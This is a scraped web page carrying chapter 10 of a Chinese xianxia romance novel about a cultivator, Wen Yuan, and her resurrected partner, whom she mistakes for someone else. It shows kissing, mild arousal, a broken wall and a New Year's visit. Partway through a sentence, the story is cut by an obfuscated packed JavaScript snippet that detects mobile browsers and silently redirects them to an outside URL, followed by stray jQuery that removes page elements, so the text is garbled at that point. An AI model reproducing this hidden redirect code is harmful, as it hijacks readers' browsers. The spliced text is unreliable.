10. 第 10 章
作品:《道侣失忆后,变疯狗了》 浅浅一吻后,温愿想起刚吃过糕点,便松开江知奕,拿起桌上的茶杯,给自己倒了一杯水。
唇上还残留着柔软的、微甜的触感,江知奕的脑中被炸成了一团浆糊,分明他是在揭穿段容时的真面目……怎么温愿突然……
突然亲了他一口,就结束了……这就结束了?!
分明温愿在触手可及的地方,竟然有一种又被她遗弃的委屈感。
不断加速的心跳仿佛在提醒他,过去这百年,虽然他没有记忆,但是,他对温愿的感情里多了一些东西。
至少从一开始,他只是想要温愿摸他、抱他而已。
在这次意外复生重逢之前,他都是以兽形出现在温愿眼前。
即便是在被温愿遗弃之后,第二次遇见温愿,在他已经成年、能化人形之后,将她囚禁在魔族,想做什么她都没法拒绝的时候,江知奕依旧记得她说不喜欢人,也不会让他看到人形,免得被她讨厌。
而温愿只是普通人族,而且从小体弱。他对她如果有欲望,相当于想要将她撕碎,因而不可能有。
以人形出现在温愿的床上的时候,发现温愿不讨厌他的人形,反而喜欢他的脸,江知奕是庆幸的。
他经历了无数个轮回,第一次对异性有这样的感觉,十足强烈,同时又敏感到,只需要她浅尝辄止的一个吻就能激发。
虽然陌生,在他这个轮回有限的记忆里找不到线索,但是他的身体仿佛知道,这时候应该做做什么。
温愿喝水很慢,才喝了两小口,就被身旁的人握住了手腕。
杯中剩下的大半水液,溅到前襟上,将白色布料打湿,茶杯“当啷”一声落地。
浓郁的灰烬香气袭来,原本放在桌上的物品被推到一边,叮叮当当的。
温愿被抱到了桌上坐下,江知奕站在她面前,俯身吻她,这样,和之前相比,对颈椎的考验少了些。
但是双腿悬空,她用两只手支在桌沿借力。
江知奕却将手覆盖住了她的手,在温愿的手脱离桌面、上半身几乎要被压着后仰的瞬间,他的嘴唇又离开了,只是简单的唇瓣一触。
温愿看着他说:“你还是第一次这么主动。”
话音刚落,江知奕眸色一深,又吻了上来。
温愿的手在身后的桌面上摸索着想借力,却被他支在两侧的手臂阻拦,便攥住了他的袖子。
江知奕张开嘴,含住她的下唇,啃咬,很快撬开了她的嘴巴,在口腔里细致地舔来舔去,吮着她的舌头。
温愿的嘴唇无法合拢,溢出唇角的水液被吸走。
双手逐渐从攥住袖子,换成了抱住他的腰。
侧过脸,换了一口气。
江知奕一手托着着她的下巴,又加深了这个吻。
以前有过这样吗?
温愿回忆着,段容时以往虽然不会拒绝她,不像是讨厌被她采补,但确实没有这么主动过。虽然知道他在她面前有所压抑,但她绝对想象不到,光是一个吻,都能这么黏黏糊糊。
并不是讨厌,但是段容时……真的会有这样一面吗?
江知奕的腿靠近了她一些,温愿很快感觉到,膝盖上压了一个东西,热意隔着布料透过来。
温愿还没有来得及做出反应,而吻着她的人,比她的反应更大。
江知奕松开她的嘴唇,喘息着,心跳的声音很清晰。
他原本的冷白的皮肤染上了一层粉色,眼角、鼻尖和耳尖都红红的,分明刚才在她嘴里舔来舔去、完全不想结束的是他,但是这么看上一眼,却是一副被她欺负了的样子。
熟悉感压过了陌生感……温愿方才一瞬间升起的警惕和不安打消。
无论如何,段容时还是段容时……只是因为复活仪式出了一些问题,所以感觉才会不一样。
他的道侣心思敏感,她不应该让他觉得,因为身型的改变,让她嫌弃了。
温愿低头,看着布料隆起的部位,伸手过去。
在碰到之前,江知奕却握住了她的手,阻挡她的动作。
温愿疑问地看着他。
“不要,”江知奕摇摇头,“不是现在。”
温愿看他确实不是欲迎还拒,是真的拒绝。
又想到了方才是她主动吻他在先,也许她的道侣虽然说了愿意做她的炉鼎,但是这回,也许只是为了回应她,回应得热情了一些而已,实际上并不是真的想要。
她先前采补他的时候,也没怎么问他的意见,但是……如今,她也不会对一个病人下手。
她从桌上下来,将剩下的六枚透花糍吃掉,又出去练了一会儿剑,洗漱过后,便上了新换的床,见江知奕侧躺在床内侧,背对着她,便在床外侧躺下。
新床更大,没有理由挤在一起,两人隔着老远。
等到温愿熟睡了,江知奕才又重新靠近她。
只是吻的话,他还可以告诉自己,是因为温愿喜欢他的脸才会这么做。
可是如果更近一步……她压根还没分清,他不是段容时……如果她知道他是他自己的话,按照温愿上次的反应,她会逃开的……
虽然段容时从身份、灵根、经历、性情都是假的,但是江知奕不得不佩服一点。
七年时间,段容时能让温愿露出那副仿佛从来不用担心在他身边会受到伤害的表情,江知奕却不敢保证……如果他方才继续下去,第二天,温愿还会这么安稳地躺在他身边。
拥抱、抚摸,已经足够了……他要的一向不多。
昨夜那个不想要温愿碰他的别扭想法已经消失,他虽然不准备放任自己,但也不想离温愿太远。
他的视线落在温愿的胸口,温愿以前会把他抱在怀里睡,但是他现在的身体太大了,做不到挤到她怀里,而不被她发现。
视线又落在温愿的小腿上,以前……他有时候也会睡在温愿的脚边。但是又要把自己的身体蜷起来,他自己不舒服。
看了一会儿,身体更加难受。
他想了想,解开了上衣,露出了胸前那道浅浅的指甲痕。
抓起了温愿放在身边侧边的手腕,轻轻地展开掌心,覆盖在了他胸前的皮肤上。
许久之后,他的身体终于平复下来。
--
次日清晨,温愿准时睁开眼,抬起手,看到自己略红的手腕。
她坐起身,看到江知奕靠墙睡着。
好消息是,她并没有像昨日早晨那样,醒来的时候在他怀里,因为睡姿平稳,腰部没有明显的不适。
新换的床,也依旧完整,没有坏。
坏消息是,墙坏了。
江知奕靠着的那侧墙壁,破了一个大窟窿,露出了砖块的断茬,而墙的另一侧,是她之前的卧室。
好在破的那面墙,不是承重墙。
就像昨日清晨那样,温愿又叫了工匠上门,询问了江知奕的意见之后,索性将两间屋子合并成一间房。
大床放在面积增大一倍的屋子里,就连门也加大了,总算是没有了先前那种尺寸不匹配感,看着顺眼了不少。
荣景晨起,正准备去丹房炼丹,又发现来了一群工匠。
听闻从结为道侣后就开始分房睡的师姐、师姐夫,在段容时复活后短短两天,就将卧室合并。
莫非在复活后,师姐夫终于转性了?
荣景走过去一看,只见温愿倒是挺满意的,在指挥着人调整布局。
而师姐夫的脸色却不太好看,就像以前一样,仿佛在脸上写满了:是温愿主动在先。
果然,记忆虽然缺损了,本性难移,还是那么端着。
--
两旬过去,转眼间已经到了除夕夜。下域凡人最重要的节日,在中域、上域等地却并不怎么受重视,远远不如即将开始的十年一度仙盟大比要紧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14667342|156641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
往年,温愿会照样留在宗门,今年,她的假期未结束。
天黑之后,温愿在书房写礼单。
荣景用丹房里的材料,做了一串鞭炮,和几个外门弟子,在外头噼里啪啦地放。
放完,带着一身硫磺气味进了书房,说:“过年真有意思,明年我们还会一起过年吗?再加些花样,过得认真一些。”
他遭遇家破人亡,跟着温愿离开下域的时候,年龄不过七岁,对于下域凡间的事记忆渺茫。那些伤痛的记忆逐渐褪色,选择性留下的,都是过节时候开心的记忆。
温愿还没回答,便有弟子通报:“江宗主到。”
荣景别了别嘴:“怎么还请了那个赌鬼?上域人又不怎么庆祝除夕。”
温愿说:“容时的死,对于江宗主也有所触动。我派去的盯着的人说他表现得和往日大相径庭。他这回,应该是真的改好了。”
荣景说:“希望如此吧。”他心里其实不信。
温愿去接待江宗主的时候,荣景没有跟着。
既已经知晓段容时的炼器才能足以为昇焰宗偿还债务,温愿很快意识到,七年前江宗主要将段容时卖给人当炉鼎抵债的举动,也另有隐情。
昇焰宗是上域宗门,但毕竟已然败落。段容时是个炼器师,虽有才能,但却不足以自保。应当是江宗主设计,想为他寻到一个合适的庇护者,这才撞到了温愿身上。
毕竟温愿中意的是段容时这个人,没有宗门债务拖累,只为自己的道侣感到庆幸。
她和段容时都是下域出身,当初温愿是靠着浮台山的牧山主才能得到中域的仙籍,恐怕江宗主之于段容时,便如同牧山主之于她。
解除了误会之后,温愿便既没有深究下去,也没有将当初的债务有假的事外传出去,只是不再派人控制江宗主的自由,又向荣景透露了江宗主因为段容时的死有所改变。
以江宗主的身份,与温愿寒暄了两句之后,武成花便去找了江知奕:“蜂探查出来,田刁刺杀段容时,应当只是出自个人私怨,没有人指示。
“他是华罴的门客,据说华罴很赏识温愿。很多人都说,田刁是担心自己的地位受到温愿威胁。
“大概是因为温愿太难下手,田刁才会拿段容时出气。”
“华罴……”江知奕记住了这个名字。“上域长老会第四席华家的公子,看来温愿真的很想去上域……”
武成花很快发现,距离他上次来访,中间不过隔了二十一天,结果江知奕的卧室里焕然一新,不仅床换了,家具摆设换了,就连墙也推倒了,面积扩大了一倍。
告退之后,武成花向院子里的杂役弟子们打听发生了什么,便得知,江知奕和温愿睡的第一晚,床就破了。第二晚,靠近床的那面墙,塌了。
这两晚发生了什么,不言而喻。
上回在临枫宗见到温愿时,她就十足虚弱。饶是如此,想到了那些堵门的债主,把蜂探钉在树上的冰粒,武成花还是在看到温愿的时候,皮紧了。
为了她和江知奕长长久久,明示暗示了几番“注意保养身体”之后,留下了一瓶魔族秘酿,他便匆匆离开。
魔族蜜酿放在水晶瓶里,色泽金黄,形似蜂蜜,江宗主送的时候,也说这东西只是蜂蜜酒,昇焰宗的后山出品,吃个新鲜而已。
密封的瓶口处,透出丝丝甜味,和酒香,看不出什么古怪的地方。
温愿并不指望她之前为了维护段容时而对江宗主采取的措施,能让江宗主对她有什么好感,是以并不觉得,他会突然关心自己的身体。
又想到她的道侣是一个极其内敛的人,莫非他在复活之后,身体又出了什么问题,却没有告诉她,只告诉了师尊?故而,江宗主才会旁敲侧记。
晚上入睡之前,温愿便注意着江知奕的动作,透过了他前襟的缝隙,看到他的胸前,有几道明显的指印和……抓痕。